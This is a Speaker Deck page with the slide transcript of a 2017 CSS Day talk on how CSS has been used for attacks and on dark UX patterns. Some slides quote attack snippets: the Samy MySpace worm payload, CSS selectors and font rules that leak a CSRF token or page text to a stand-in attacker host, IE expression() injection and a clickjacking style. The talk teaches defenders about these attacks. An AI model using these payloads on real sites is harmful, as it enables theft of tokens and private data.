Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2
1.8k
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
Tweet
Share
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
180
The Tail and Its Dog
stephenhay
1
310
From Deception to Clarity
stephenhay
4
660
Sculpting Text
stephenhay
4
920
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
520
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
560
Flexbox: One Giant Leap for Web Layout
stephenhay
6
410
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
940
Flexbox: One Giant Leap for Web Layout
stephenhay
5
180
Other Decks in Design
See All in Design
今日から意識できるアクセシビリティ
fumiko
0
240
デザイナーとPMの両ロール_3つのポイント
toy1618
1
320
#Dubois Challenge 2025: Economics
ajstarks
0
120
FigmaのFigmaファイルから学ぶTips & Tricks
hilokifigma
0
400
同人音声のための、 最高の視聴体験を求めて【サブカル×デザインMeetUP!】
vivion
0
730
オープンデータを利用して色々なものを作った話
hjmkth
1
110
harutaka Vision Deck
zenkigenforrecruit
0
130
ポートフォリオ_藤田歩希(ほまれ)
akifujita_homarecreate
0
600
教育分野に強いUIデザイナー / 山口哲弘ポートフォリオ
t2yamaguchi429
0
410
生成AIを活用した組み込みSW設計書検索システム開発
licux
7
1.1k
誰もがAIエージェントを"操作"したがる〜AIエージェントに求められるUX〜
ikeyatsu
2
1.8k
Storyboard Honey
rocioparronrubio
0
270
Featured
See All Featured
The Power of CSS Pseudo Elements
geoffreycrofte
77
5.8k
Scaling GitHub
holman
459
140k
How to Ace a Technical Interview
jacobian
277
23k
Build The Right Thing And Hit Your Dates
maggiecrowley
36
2.8k
Rebuilding a faster, lazier Slack
samanthasiow
82
9.1k
Dealing with People You Can't Stand - Big Design 2015
cassininazir
367
26k
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
124
52k
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
48
5.4k
Designing for humans not robots
tammielis
253
25k
Designing for Performance
lara
609
69k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
161
15k
Templates, Plugins, & Blocks: Oh My! Creating the theme that thinks of everything
marktimemedia
31
2.4k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens